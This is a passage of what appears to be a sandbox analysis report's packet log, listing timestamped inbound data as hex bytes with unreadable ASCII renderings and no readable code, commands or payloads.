dc d1 e9 9a 2c 2c 4b 06 da 17 0d 43 c8 24 d9 56 2b 36 bb f8 21 0b da 80 eb c1 79 a4 d1 1b 42 c3 6a 64 87 9f 3c 34 86 71 Data Ascii: `cfeppQqaXo+&B ctJYM]~g][;.UL\|iv#6B(6h$w%'=\|"wP[/]SA\|*\ho:31'61b1_r-hJf$2i4Q,,KC$V+6!yBjd<4q
2021-12-01 08:15:22 UTC	1505	IN	Data Raw: 52 9c 93 68 17 de 7c bd ff 29 fc 5e ad 35 e1 ba 12 ad e0 09 d3 0b ff e7 4b 8f 8e 38 76 fb 2c 86 db 48 fb ed d9 af 56 db 4d b5 6f 48 3b 54 57 ee 57 2e af 31 39 df 4e 6e 33 27 f3 24 18 4e c9 3f 2a ff 40 2c e0 7e f8 7c 5c 38 bd 35 cd ec 93 2f d9 66 7b 68 59 82 8a 99 c2 3b 42 b5 0d 17 86 d7 b3 d4 29 2d 60 6a c7 37 0e d5 95 c0 da 81 c9 c1 47 13 94 ad c6 dc c1 a5 d8 17 e3 89 a2 d7 c5 60 cd fa 22 c0 5d 19 cf ae 5c 0a 7e 50 28 33 0c 2a 96 70 8f d3 e1 12 74 3c 3f 6f c5 0e 87 d7 59 21 9c 6a 18 cf cd 06 28 f2 07 0d d5 63 5a 5f e9 ae d3 2a e8 92 7f fe 7a c8 bf 3b 24 c5 91 2f 60 e1 0f f1 79 77 3a b5 3e 7d 5d d3 4a e1 a4 5d 41 c2 f3 14 3e 89 b9 21 95 07 78 0f 6f 5a f2 d2 bf 3a 8d 66 77 d9 dd ca a0 4f 8e 27 85 b4 14 e1 a4 d1 f8 58 7d 9d b2 3a 57 fc 69 b8 65 30 8a a1 ad Data Ascii: Rh\|)^5K8v,HVMoH;TWW.19Nn3'$N?@,~\|\85/f{hY;B)-`j7G`"]\~P(3pt<?oY!j(cZ_*z;$/`yw:>}]J]A>!xoZ:fwO'X}:Wie0
2021-12-01 08:15:22 UTC	1521	IN	Data Raw: 06 46 f8 45 3b 51 62 90 00 46 62 2a 93 73 07 24 d7 c4 e7 75 4f a3 4b fd 63 a5 e1 bb e8 4d 00 1a 7b f9 d7 b9 61 23 f1 5e 80 a5 84 a5 80 39 3a f6 5f 94 3f 6c 17 5b b7 a2 77 56 26 4b 99 15 a7 2b c5 be 37 d8 57 c7 e1 90 f1 9f 2f 92 2c 14 1a 08 34 79 ca 3a 34 ea dc 3a 3f 39 64 0d 73 de d1 b8 6b 33 06 66 a7 e3 ed ed fd 0f 2c a5 e3 ae d9 61 bc a5 a9 fc 08 ed 84 79 53 1f 87 72 b7 20 a4 b3 31 6a 11 5d bd 06 ea e8 14 79 65 4d d1 9c a0 f0 7b 86 4a 18 f0 b6 fe cd 32 d2 fa a8 88 52 45 4a 1f 3a 21 85 16 21 54 b2 f1 46 0a 32 2d 4d 86 52 ac de a7 87 8f f5 b4 59 1e 7d 5e aa 65 fd 47 8c e4 f5 7d 00 29 84 90 b4 75 77 8c 73 03 da 69 45 46 27 12 48 63 62 a5 fc 1e 07 f7 f4 5b cd ad 84 91 99 fc 11 77 5e 73 df ce c0 6a 99 b2 dd 49 a4 97 2c f1 12 ab 82 36 02 1d 8a aa e6 86 37 4f Data Ascii: FE;QbFb*s$uOKcM{a#^9:_?l[wV&K+7W/,4y:4:?9dsk3f,aySr 1j]yeM{J2REJ:!!TF2-MRY}^eG})uwsiEF'Hcb[w^sjI,67O
2021-12-01 08:15:22 UTC	1537	IN	Data Raw: e8 af 8b 19 a8 38 be a4 30 46 38 e5 c5 a4 28 87 09 99 6e 70 3f 81 fd 6a 4c 3e 93 7d 19 ae 08 65 2d ae 74 20 f9 c2 ba 3c 85 d6 9c 53 e9 d1 c9 b9 3d 6c 38 d6 a9 e1 b0 48 a2 bf a1 37 25 64 0b d1 d7 9d 71 e9 ca f8 19 15 d0 62 fb 7e 3e a2 79 8d 58 ff e1 27 5f e6 d5 4e bb be ee 3e fb be d0 0a 42 74 ea b0 50 1d 5c 35 cc f3 32 9e ca c8 c1 7a a7 d7 79 78 61 3b 75 7d 49 b6 1a 47 01 97 9a ea d3 0e 13 75 e8 1d 13 f7 f1 56 bb 22 85 e7 af a1 0f b9 b1 bf 3f dc b7 79 e2 db 3f 5f b0 8b a9 4e 89 5e 62 e6 2d 63 51 7d 22 47 d5 66 0b 63 14 93 2d ff 32 f0 e3 04 ef b3 75 36 46 5c ea 29 f8 97 aa 3b 6c 66 ee c6 60 23 3c 44 11 3b 6a 8c ed a9 cb 22 53 07 c4 a6 6d c9 da b4 a6 f7 8a e3 93 37 d2 fe 5c d8 b1 cd 8c 2e eb 36 fa 40 cc 49 58 f9 99 a6 aa 65 37 66 8f b6 11 32 1f 20 4b bf 94 Data Ascii: 80F8(np?jL>}e-t <S=l8H7%dqb~>yX'_N>BtP\52zyxa;u}IGuV"?y?_N^b-cQ}"Gfc-2u6F\);lf`#<D;j"Sm7\.6@IXe7f2 K
2021-12-01 08:15:22 UTC	1553	IN	Data Raw: 04 95 53 22 77 7a 2c f1 21 69 f3 62 ce 3d 95 46 00 d2 ee e5 e5 e9 e1 f6 e8 72 81 75 fc 0e d0 50 6d be 76 d7 df 56 51 26 31 cd b6 8e 61 63 ee 8a 70 8a ab 84 81 99 da ba 83 bc d8 f2 16 63 7d fa c4 ef 25 6a 33 c3 78 b4 eb 7a aa 2d 0a e2 dc 49 b0 e5 e5 19 07 35 cd ff 52 c2 1c 2d b5 c9 97 a5 ae 00 ce e0 c1 19 6a d1 4c 8a 57 aa 1b 37 9b 4e 3a 2f 49 49 f7 f4 ad 98 bc 0e cd 99 cb 0f a1 a9 7c fc 6a 21 f1 f9 9b ae a9 1b 08 98 a1 7c 15 39 58 35 73 6f 39 f3 f3 c8 8d d6 ea 34 fc 9b 85 3e 53 07 49 92 1c 55 10 c2 3d 5e 1a 5f 2c fe d7 03 5a d4 4b 93 1a 5e 0a ec 18 be 81 78 ea 38 89 1e a5 a4 c6 a0 e6 b0 4a 22 e6 50 56 fd 5a e4 13 bf e2 7a 5f e1 20 99 7e aa f7 42 26 bb 96 21 20 49 9d 1b f8 3b ce 2f 4a a5 80 a0 a3 73 30 bd 71 f9 3c f5 aa d3 70 15 71 0b 45 f1 0e 4c d1 83 a9 Data Ascii: S"wz,!ib=FruPmvVQ&1acpc}%j3xz-I5R-jLW7N:/II\|j!\|9X5so94>SIU=^_,ZK^x8J"PVZz_ ~B&! I;/Js0q<pqEL
2021-12-01 08:15:22 UTC	1569	IN	Data Raw: 53 01 37 cd 36 9b 8c 86 ff f3 c2 df 15 62 e7 d6 b0 8b 2a 3e 8d a4 c7 d3 ff 1d 9a 5b 79 38 76 3f c9 25 7e 3f 4b 20 72 81 a7 b3 16 a7 2b b6 76 dd 69 b1 4f 50 a5 49 a1 3c 62 e4 27 c8 84 43 47 f4 f3 8d eb ec 79 79 a6 6e d4 61 e8 04 02 f2 29 35 3f bd 55 cd 3c b8 e6 b8 1f 6c 0a dc a1 c1 05 db dc 76 ce 74 af d5 0e 87 a7 a7 6e 8c a5 d2 ff 45 71 81 36 30 a1 da 34 4f c7 88 3d e7 e1 0d bb 03 d6 02 2b 06 94 22 de a9 7b 69 1d 9f d1 1d d9 8f f5 80 81 5a 5c 91 3c e7 6d db 51 b4 de 05 fa a6 4c 7e a1 f3 5b f0 f2 23 68 83 49 7c 78 04 8a 2f 22 b1 de 14 5b 89 6d 04 bc 88 e1 9e 4c 81 42 32 bf c2 36 da a6 06 2e 79 c4 2d d2 79 79 e9 bc f8 31 85 d7 07 d7 19 cf d0 98 29 29 b1 8c d5 3d 49 90 86 07 38 7b 6d ac 6c 40 93 fa a4 31 9b 1a cc cb e1 a8 82 db 92 0b 8c c2 9a 95 09 c4 64 4d Data Ascii: S76b*>[y8v?%~?K r+viOPI<b'CGyyna)5?U<lvtnEq604O=+"{iZ\<mQL~[#hI\|x/"[mLB26.y-yy1))=I8{ml@1dM
2021-12-01 08:15:22 UTC	1585	IN	Data Raw: 09 38 30 fd 98 26 4e 8e 78 37 bb 30 d5 ab 78 51 9e a4 8a 98 7c 7e 73 ff bd 18 8f ac 19 e0 d6 1f 6c bf fc c9 bc 3c 26 04 0c 61 43 b8 2a e1 0d 58 dd 49 2c 8a f0 d2 dc cc 5b 2b e6 5f b4 b9 57 17 0c bd 5d cb bb a7 e7 cb b5 00 53 73 8f ba eb 11 cf a9 72 d2 aa 2b ea 36 f2 06 0e 1b b4 c0 df b5 68 68 0b f4 46 79 99 78 7c 22 d1 a4 1f 1c 45 24 16 57 c0 6c 90 34 52 65 fe 5f 18 5d ab d1 c1 0f 7c 5b b7 ae aa 51 5e 38 86 ce 66 fd b6 bd 9d 19 d1 7e b0 c9 1f 19 8c 01 f7 c9 49 a5 dc 4d 19 5c d3 4a 3f 07 60 64 38 2e bf ba 45 16 c6 e6 26 6b 55 63 48 ae 61 94 7c ed f2 19 66 ad f3 e2 43 91 64 97 53 7a aa 57 a7 14 5d 16 4b a4 33 c6 57 b6 0c cc 19 5d d7 b6 ff f2 a4 97 70 d8 0f 6c 07 48 af f7 4c 6b 2f 8f 3a e3 64 7b d9 51 19 c0 d1 83 56 bc 45 1c 23 50 45 fa df 0c 94 57 f4 34 88 Data Ascii: 80&Nx70xQ\|~sl<&aC*XI,[+_W]Ssr+6hhFyx\|"E$Wl4Re_]\|[Q^8f~IM\J?`d8.E&kUcHa\|fCdSzW]K3W]plHLk/:d{QVE#PEW4
2021-12-01 08:15:22 UTC	1601	IN	Data Raw: b5 fb ee 3d a6 4f 2f 14 36 49 bb 1c 74 e2 67 30 c6 84 fb c6 ee ce c3 05 51 f9 17 c7 d9 74 19 aa 3d 90 1a 8d 3c e8 33 4e 30 5d 98 8c 85 40 28 5a 70 e9 d3 8d ad 82 10 e0 79 04 a3 74 27 fb 5e a2 44 9b b0 9e f0 2d 58 be 5f a0 eb 59 fe 6a 1e d6 53 a0 59 5f 96 35 4f 18 84 c4 f2 8e 32 a8 93 a1 d1 3c 03 b4 75 7c d6 47 8d a3 eb ba 09 ed 30 48 6d a6 08 15 ab a7 c9 58 f3 bd 9b bf 68 91 e7 f0 94 1c b4 c6 44 84 3e f6 41 12 b8 fe 70 27 3b 17 e0 14 09 49 6e ba a8 c7 84 b1 b5 98 42 c7 4f 09 b8 cf 89 5a c7 d1 7d e1 51 8e b0 ca c6 2f 68 1c 8b d8 68 95 ce 17 01 b6 48 1c 0e 0b de f7 57 4d d2 b7 dd 9a 6e dc 23 6b 4d 78 3e 89 90 fe f1 71 45 5b ec c6 db b7 51 30 15 95 d7 21 09 a6 a1 0b a9 72 04 37 12 8f a3 5e 7c 76 fb ab ce d3 46 55 23 86 13 ea 6d df 3e 4c b1 a7 e1 3a cd 28 0d Data Ascii: =O/6Itg0Qt=<3N0]@(Zpyt'^D-X_YjSY_5O2<u\|G0HmXhD>Ap';InBOZ}Q/hhHWMn#kMx>qE[Q0!r7^\|vFU#m>L:(
2021-12-01 08:15:22 UTC	1617	IN	Data Raw: 6d 46 f4 15 bc f9 df 58 01 78 14 ed b0 e8 32 40 14 a7 f4 75 00 f1 d5 6c a6 12 36 df 59 2c 78 46 2b d9 af d6 64 b7 52 8b 8f 12 ae 7e 70 b4 98 19 98 16 89 00 36 00 fc 41 1b c4 32 0a 85 7e 67 43 27 84 81 c3 2e 6c 25 5f 7f 25 c1 97 02 6a 3c 92 c3 8f 1d da 47 a3 87 5c c2 b5 01 16 ff 1b c1 92 ff c0 e3 b9 ec e5 1d a4 8e 33 ee 75 47 6d cf b1 37 c5 19 e4 7f a0 73 fc ff ed b7 4a d0 0f f0 bb 56 e0 a0 ee 11 c2 0e ef 81 91 02 a5 97 a7 38 2c 3c 14 e4 7f d2 5b ac 3d 43 ea 03 55 ef 6a 85 52 9d c7 14 e1 2c 80 7f de e3 df e8 b4 89 1f ba 11 2b 11 58 e0 51 7f 1b 6b 84 ae 0c 99 d1 5e f0 18 97 e3 2d 76 79 9c 97 d5 3b b2 99 97 85 04 70 f5 51 ea 2d 4e ad ba c9 11 ed 44 7d 0e c0 58 4a 59 82 cd 36 61 c6 5e 0f db a4 0c 6b 55 62 be 36 fa cf f2 4e 9f 0e df 9e 7f c1 1a 65 3f 3f 4f 6e Data Ascii: mFXx2@ul6Y,xF+dR~p6A2~gC'.l%_%j<G\3uGm7sJV8,<[=CUjR,+XQk^-vy;pQ-ND}XJY6a^kUb6Ne??On
2021-12-01 08:15:22 UTC	1633	IN	Data Raw: 32 84 ea ec 80 ae 00 6c b3 f5 b1 83 fa 34 28 e5 a1 36 16 96 0d 2a f5 6e 15 ae 4b 80 da 37 a7 89 bc e7 cb 90 f9 b1 36 3f a7 eb bc 73 5c 11 59 75 dd 90 f4 32 cb 7d 82 b3 1f d3 79 41 30 e1 20 c9 c1 e2 44 34 af 7c 34 35 3b 28 13 2f 83 81 33 da 90 1b 12 6b dc 2f 34 1c 7c fc 7f 33 08 41 0b 27 b1 1b 4b 3c 82 ce 5c ca eb 0f c7 cf ba d7 8b 5b a5 b7 53 40 6a 60 56 87 cf ac 55 d1 da ce 34 ef d7 45 f4 1f d5 35 41 a1 df 62 18 d5 ba 1b 57 0e 71 97 5f 1d d5 9f 96 eb 06 81 a9 5f 9c 08 e6 ad d0 96 bb 0d 3f 37 be 21 33 dd 6a a5 81 d9 f5 a1 75 e8 e3 c9 dd b2 0d ce d5 74 90 e5 e4 45 9d f5 69 79 3d 6d a4 55 6c 1b 45 12 8b 0d 32 b2 a8 e2 c0 df cb cc ac c7 b1 ac 0d 0f 84 50 fe ca 46 5e 7d 37 78 99 1e 8b af df 10 b8 38 03 d8 9b e5 c6 f3 e5 8e bd 29 70 18 10 e7 50 5d ba ac 15 2f Data Ascii: 2l4(6*nK76?s\Yu2}yA0 D4\|45;(/3k/4\|3A'K<\[S@j`VU4E5AbWq__?7!3jutEiy=mUlE2PF^}7x8)pP]/
2021-12-01 08:15:22 UTC	1649	IN	Data Raw: 09 b8 07 ae 06 46 27 97 78 40 05 6f 1f cd 9f 0b 4d 5b 95 3a 62 b8 ff bd 6e 21 74 4f 81 3c 33 e6 22 20 a4 e8 8c b1 c9 23 fc 98 64 b3 4a 17 e8 93 dc 19 ed 42 6d 39 83 eb 69 e6 86 d9 53 f3 49 a6 27 31 6e f6 3d ee 55 8c 62 60 36 07 aa fd 2f 63 b6 3e 6d 82 d0 56 8c 77 42 da 60 15 3b 33 4d aa eb a6 ad fe c2 55 cf 00 65 04 3c 73 a0 e6 aa bd 82 c8 af f6 29 5c 44 7f 8c b1 21 87 c6 ce 4a 43 1e 8f 9f f3 8b e2 f7 4a 73 e4 5c 31 7c 76 ed 13 51 f6 2f 00 39 47 e1 89 aa ee 6c 22 dc 74 42 5b ec fc 71 e4 a2 21 b9 26 77 21 b9 04 f2 69 c7 90 64 7c 94 e2 54 1a 7b 72 1a 23 77 f2 6c 55 17 37 81 16 a1 43 70 85 1e 85 af a6 57 8f 17 c3 c5 9f 69 71 72 28 05 dc 31 c8 44 29 f2 d4 8f 32 0b ef 8d 96 2e 69 d9 12 b5 29 49 a2 6b 10 11 99 4c bf 96 d2 07 84 85 5c 41 0a a4 78 f3 a2 0d ed 41 Data Ascii: F'x@oM[:bn!tO<3" #dJBm9iSI'1n=Ub`6/c>mVwB`;3MUe<s)\D!JCJs\1\|vQ/9Gl"tB[q!&w!id\|T{r#wlU7CpWiqr(1D)2.i)IkL\AxA
2021-12-01 08:15:22 UTC	1665	IN	Data Raw: d0 86 02 01 3a 15 9e 5e c5 71 38 82 70 95 f7 85 af 42 10 0d de 9e 37 54 ae c3 8b c4 f0 43 bc 64 80 e6 3d b9 38 f0 9d 2d cb cf 0d 84 65 31 8f d1 47 fc a0 f9 bd f7 cb a4 99 dd 4d eb fe da 1a 27 56 06 22 3b 5f 80 91 26 fb 5a 3d 42 82 bf 53 12 6c 90 35 84 d8 fb 77 cb 26 c6 08 10 dc b7 3b b6 73 02 67 c0 5b e9 3d ec 83 cd 5b 95 bc 54 0d 2b e8 4f 1d 34 4e b3 be 26 78 1e 53 bf b5 25 b7 46 72 a0 a0 f7 35 c5 af 97 1b 25 67 98 1a 9c ab d6 06 62 6b a5 64 f8 47 02 8e 36 e3 e9 2b 71 7b 7a 60 1d 4b de 5d a2 59 09 f4 a6 1f d7 f9 02 b2 d2 5a 15 aa 69 2a 51 f6 6a af 21 db b9 6e 9c 0d 4d b4 b9 38 db 1c 56 a3 42 ae e2 04 8e 9f 86 bd 99 13 a8 08 b8 5d 6d ba 33 42 29 8c c1 c4 d3 9c 9a d8 84 63 b1 7f 96 88 84 59 b1 2f 87 ab 87 e4 44 3c ce 74 18 01 03 71 d3 1d bc 5f db ba cb 1b Data Ascii: :^q8pB7TCd=8-e1GM'V";_&Z=BSl5w&;sg[=[T+O4N&xS%Fr5%gbkdG6+q{z`K]YZi*Qj!nM8VB]m3B)cY/D<tq_
2021-12-01 08:15:22 UTC	1681	IN	Data Raw: cd 1b 95 6a 71 ee 2c f9 7e 76 be 03 88 70 ea 03 0a e2 73 1d 33 5d 00 cb 36 dc 1a 88 9d eb 42 ad 80 3a c5 cf b8 e0 5a 37 a9 7f a1 29 1f d2 ff 7e e7 d9 d9 94 0a 26 b9 60 a8 04 56 7f fc 66 22 ab 6a c9 29 f7 df e3 8c 4e 73 55 93 06 7c ea 52 d2 a2 85 b7 fb 8e d9 b4 51 70 76 d4 df b5 a8 1e 8e 30 20 ef 1e cc 50 de 28 60 fe 86 43 3c d5 a0 c1 a0 df 50 8f 2f 8d c8 e1 96 54 04 91 5a bb d2 85 7c fe a0 54 29 bb 70 e2 ab 21 fd 9e 43 9a 17 70 04 12 46 ae 61 74 b8 eb ae 82 40 ee f3 ed 6e bb 6d 76 0e 9b 09 07 5f f4 f1 26 a1 c9 57 28 ad 23 b1 5d 48 f9 19 c4 f4 7c f3 e5 1b 9b 6c 2f 64 3d 6c 80 03 57 d2 0e fc d4 54 42 66 3b 94 8f de 9f 3a de a5 48 a6 92 53 70 1c dc cd b2 77 f8 4e 8f 39 24 e0 db fc a0 12 a8 f4 35 bb 63 91 3e e7 6f 49 77 9f 98 fd f2 72 c5 bb cb 95 6b 41 da db Data Ascii: jq,~vps3]6B:Z7)~&`Vf"j)NsU\|RQpv0 P(`C<P/TZ\|T)p!CpFat@nmv_&W(#]H\|l/d=lWTBf;:HSpwN9$5c>oIwrkA
2021-12-01 08:15:22 UTC	1697	IN	Data Raw: 6a e5 40 75 96 99 41 9a ea cd ff f7 5f 65 ae 37 7d 7a c8 ce 88 96 a8 d1 53 c6 ad b2 20 6a a3 17 e2 c5 43 cd a1 9d e2 88 1f 9c 1f b2 f5 91 2c 88 d9 92 d8 50 24 5d 29 d6 28 18 7e 94 d2 cd 17 6b c4 99 c3 c2 0f 2b aa ef aa ad 6a af 92 35 3a cc 95 77 eb 5c 58 71 b9 37 8f 55 c1 fd ae e3 28 ad 5f ca 5d dd bd 77 15 ba e6 2a aa c0 89 5a 4b 10 51 e7 9b 57 31 e7 3d 12 bf cf d0 0e aa 9b a6 b0 cb 91 bd 42 af 6a 76 a4 fe 00 d7 e5 fa 85 d6 78 28 dc 5f a9 dc c8 ca 33 04 74 fb 3a df db 9b 9a 64 22 a2 c4 eb 3e 31 82 95 07 fe 68 55 02 a3 ab b7 37 71 f6 2c 94 d2 6c 79 2e d9 68 6b d2 ba a2 15 35 fa 85 93 00 c9 1a 96 99 17 ed 3e 26 7b d0 10 81 3a 8e 6b 6a f3 c9 3d 6e ed 3d c5 03 e4 fb 2d 65 c1 f6 3d 8f 77 28 d0 81 2e 4d 40 74 c4 56 ad 53 ea 59 d8 93 43 c0 17 17 b1 f9 a2 3b 7e Data Ascii: j@uA_e7}zS jC,P$])(~k+j5:w\Xq7U(_]w*ZKQW1=Bjvx(_3t:d">1hU7q,ly.hk5>&{:kj=n=-e=w(.M@tVSYC;~
2021-12-01 08:15:22 UTC	1713	IN	Data Raw: 6e 79 b4 1d ce eb 27 ec d7 fa 6e 12 18 29 f3 b3 34 e6 c7 fd 53 9d 1d 97 dc 6e 03 91 88 4f b6 e9 43 f0 3e 40 f4 be f5 d8 2d ba 6c 16 15 65 79 94 16 2b a3 d1 a3 c1 a8 5e 40 73 4a 1f f4 6e c0 e7 bf 4d d1 d4 69 f2 ae 5b 86 9d 2f ac 6d 66 1a bb f0 d2 ee 06 b6 5d 51 27 06 2f 32 45 17 12 96 8f 5d 8b 9e 7a 9c c4 31 31 97 a8 03 49 9a 93 61 f6 da 98 5d 7d dc 06 28 c0 da 02 04 8d c2 30 8f 5f 21 0f 03 4c 8b 50 39 34 d6 f5 04 e2 9e 0c 6f d9 98 b0 5d 29 31 9c 53 e3 38 cd 63 68 af 86 e0 c8 8b 9b 9f 35 1c 93 52 54 5d e0 58 cd a0 56 64 cc b9 c4 db d3 d2 6e 10 d7 14 66 6e e9 b6 d4 aa a0 97 63 33 eb 1a 08 f6 7b a5 4e 04 46 bf 70 99 47 76 f5 56 9f e7 a9 6e a4 30 b8 3c 3b 0e 9e 46 31 1b 75 bf 5d 1e bb 64 92 ae e0 02 bb 5f 43 d3 97 9d 0c c3 f0 1c 17 1f 2c d4 76 26 1a 3a 85 de Data Ascii: ny'n)4SnOC>@-ley+^@sJnMi[/mf]Q'/2E]z11Ia]}(0_!LP94o])1S8ch5RT]XVdnfnc3{NFpGvVn0<;F1u]d_C,v&:
2021-12-01 08:15:22 UTC	1729	IN	Data Raw: 19 66 7b f2 38 94 a7 1f 55 06 c7 26 c4 2b bc e4 d9 a4 b4 7f d4 49 33 10 57 e5 57 02 f1 d8 05 d8 fc 1b 29 c7 2d ef 2e b5 98 bb 92 d6 63 a8 7a 65 76 3a 72 38 fd 23 64 41 ec 0f 40 1f 8a fd a8 95 8c 80 8e 28 8b c8 4c 47 8f 14 8c 08 49 de 7d f2 62 9c 64 fd a1 1c 26 52 c9 53 7a 7a 81 c3 31 63 de 3a fe d8 f0 58 12 d9 92 65 f2 55 38 97 65 8a dc 7f 55 a5 f0 d0 3b 63 47 6c 62 2b b8 a2 af fe d5 af 81 b5 86 c1 1b 90 f3 25 62 99 f3 bb af 9d 9a db 05 c8 e0 19 d1 18 28 dd 81 75 09 b4 a7 96 a6 6a d4 cc 84 32 e2 3a be f9 69 4b 67 1d f0 14 82 fe 9b b7 ca e8 6e ad 76 b3 58 2f 49 f4 50 c0 b0 02 73 60 7c ec f1 cb 70 a6 6f e3 79 4c 30 23 83 5c f0 45 33 1a 25 8b 70 e6 10 f2 34 cf 1c 7e 99 c7 54 35 cb 43 59 51 7c 39 e5 66 7b 1b a3 8a f5 e4 58 0e e8 36 cb 1f 8d 06 f2 e7 0d f0 7c Data Ascii: f{8U&+I3WW)-.czev:r8#dA@(LGI}bd&RSzz1c:XeU8eU;cGlb+%b(uj2:iKgnvX/IPs`\|poyL0#\E3%p4~T5CYQ\|9f{X6\|
2021-12-01 08:15:22 UTC	1745	IN	Data Raw: aa 0e 4b e3 ef ca 88 ec a1 8c ce 97 41 7b 39 7f 80 be 41 1e 66 96 ba 26 5f 1d 0a 81 c5 05 39 02 17 6e 49 3d b8 58 99 36 7f d3 36 b6 d6 f4 e6 cd df f9 d6 27 63 e2 0c ae 50 5d 5b b2 2e 9a 85 8f 3c c2 04 c6 f1 1b 98 05 6c 6c 10 fc b6 a5 95 08 b8 f3 24 e5 a1 c0 eb 6b dd 06 e5 8c 43 02 a1 d4 32 88 42 41 37 27 05 fb 32 e3 0a 22 45 47 23 76 2e dd 9b 7d e5 11 eb 0a 27 88 cd f1 63 0c 42 b9 20 1f 50 60 62 d2 4f 27 11 d0 66 89 39 dd 18 a4 f2 ec 0a 83 0e 82 af f3 06 af 38 d2 45 b3 39 44 c5 56 78 1a 31 96 2a 7f c5 d3 d9 c5 a3 b6 3c 82 2d 07 01 aa d4 f9 79 ca 8f bb 9e 27 49 f4 0c 48 53 11 45 e3 61 c9 b7 07 8c 6f 5a 99 a4 d1 3a 31 0d 5e b0 e4 e2 46 1a 0e 86 9f c3 6f a7 49 ae 0c ef 0b ac 0c 10 fd 43 e4 b3 fa 61 98 8b 77 11 79 69 8f 61 cf 9a a3 f9 33 dc 32 40 8d 44 86 1a Data Ascii: KA{9Af&_9nI=X66'cP][.<ll$kC2BA7'2"EG#v.}'cB P`bO'f98E9DVx1*<-y'IHSEaoZ:1^FoICawyia32@D
2021-12-01 08:15:22 UTC	1761	IN	Data Raw: 03 70 81 c9 f1 8d dd 65 5b 21 d9 9d 4a 0c ba 6f b8 19 ea dc 41 3d 02 9c 98 f6 36 ab f0 22 b0 94 d7 da f3 fc 74 6c 67 10 be 3e 54 17 b4 d8 94 83 c2 ef e8 64 13 46 e2 d6 ac 57 d2 42 12 56 90 8c 31 b2 9f 30 96 b5 6f 37 dc fe f7 78 6c 8e bd e1 c5 e8 b1 dc 31 eb 38 c4 34 bb 0f 5b b9 21 87 6c ec 76 3a ca e8 eb 01 bb ae 0c 53 77 14 ef 20 65 b7 98 4f 84 f7 67 de 33 c7 c1 09 b8 ff 82 2b 46 1d 16 f2 b5 99 dc a1 95 3e 62 75 0b e4 39 cd e7 88 98 99 b2 39 de 17 5e 36 29 c2 33 fc a0 63 f9 14 ad 79 3b 10 80 ce a4 3a 6b b7 6a 44 5a c4 64 d4 53 3c 28 b3 b1 99 d9 74 98 ad 39 5d b9 aa 11 53 bd 3b c4 1f 7f 18 ae 37 7f c1 d2 0c 37 8f 22 81 f3 4a 3d 9e 24 cb 33 8f cb e8 87 07 a9 71 e2 a4 52 2a 9f e2 a7 24 16 69 18 c2 91 d5 62 46 26 73 5e 8a 4e 8d 38 95 79 af ff d7 a1 49 00 b4 Data Ascii: pe[!JoA=6"tlg>TdFWBV10o7xl184[!lv:Sw eOg3+F>bu99^6)3cy;:kjDZdS<(t9]S;77"J=$3qR*$ibF&s^N8yI
2021-12-01 08:15:22 UTC	1777	IN	Data Raw: 3c 8d 83 7b ad 9d df 8c 93 ee 9a 0b 90 19 10 22 f8 7d e6 7d b2 16 13 27 a6 0f 4b a1 89 26 6e 41 3a b9 49 98 7e ca 5f 4b ce a4 ab af 87 7d 44 51 fa 4b 5b 96 d7 4d eb 16 56 9f df db 04 bf 1a 70 ab 33 23 58 37 d1 93 5f 7e 06 7f 22 8c df f0 13 2c 7d 15 ab c8 08 62 7a b4 d6 61 5c 8f f2 e5 ac a9 93 c5 fd ce 5a 8b 56 a9 2a cb c9 1f d3 4c 8d 6d 36 a2 3a d3 08 4f 10 54 02 eb f7 b0 28 bd fb 86 a1 bc 76 79 2f a4 c6 0c 51 fb 09 47 07 43 79 9b 64 5f 78 8e 8a 70 16 61 4d f1 ce 5e f8 95 23 e1 41 45 40 f9 18 66 02 32 47 33 23 9d bf 51 56 a0 90 c9 13 e3 73 ff 5e 63 a6 4c 04 cb 56 86 0b 84 83 d1 e6 60 aa 96 98 ad 07 43 ef 88 4c 5f 4c c6 58 38 29 7b 6f 33 fa 6f 87 b4 22 05 5b 9b 37 3a 5b 70 1a 67 37 db 44 bb 6e 13 a8 a3 31 84 8c 85 c2 00 a8 65 b4 d6 ab 24 12 c9 f9 42 58 60 Data Ascii: <{"}}'K&nA:I~_K}DQK[MVp3#X7_~",}bza\ZV*Lm6:OT(vy/QGCyd_xpaM^#AE@f2G3#QVs^cLV`CL_LX8){o3o"[7:[pg7Dn1e$BX`
2021-12-01 08:15:22 UTC	1793	IN	Data Raw: 49 8a f4 df 31 00 32 95 31 41 c0 36 ae 42 94 fc b9 ba 5f 36 a2 94 6c d0 30 95 6c 76 e3 91 7f 0a 92 81 5a a6 13 aa b2 5a c1 09 d9 6d ee 6e 6a 57 ef d8 fd f0 37 ad a1 4c ea 98 48 2d 18 aa a7 64 60 cb 34 b7 21 3b 1f 82 6f f9 bd 99 b3 42 de 56 4a 74 c9 ae 8a c0 21 3d 3f 7e 55 30 87 02 d7 ec d1 e0 b0 37 7e 6b d1 45 2a fd 5a 58 3f e4 71 f4 5c a1 08 7f cb 7d 4d ef 3f 4c 4d 45 f6 fe 65 95 5f 80 1e 3c 24 e5 9d 0b b8 ca a0 09 69 83 86 c1 ec ae 5b ed e3 02 77 02 74 26 66 d8 12 aa e3 cf de 66 04 63 65 7e de 91 41 a4 c0 b8 d2 10 fc 19 3f c1 95 13 44 eb a9 36 65 ed 44 48 1e 40 43 8e 2c e3 b3 db 32 6a 79 54 f2 9f 56 a0 96 59 12 54 1e ed 51 90 2e c6 7f 9b a7 52 6e 5b c1 6a 43 e3 17 42 b3 c1 f7 9e 04 de cf da f4 1b a3 90 14 d8 d2 6d 6e 50 3c 88 fd 0c a8 99 5e 04 f9 1e ff Data Ascii: I121A6B_6l0lvZZmnjW7LH-d`4!;oBVJt!=?~U07~kE*ZX?q\}M?LMEe_<$i[wt&ffce~A?D6eDH@C,2jyTVYTQ.Rn[jCBmnP<^
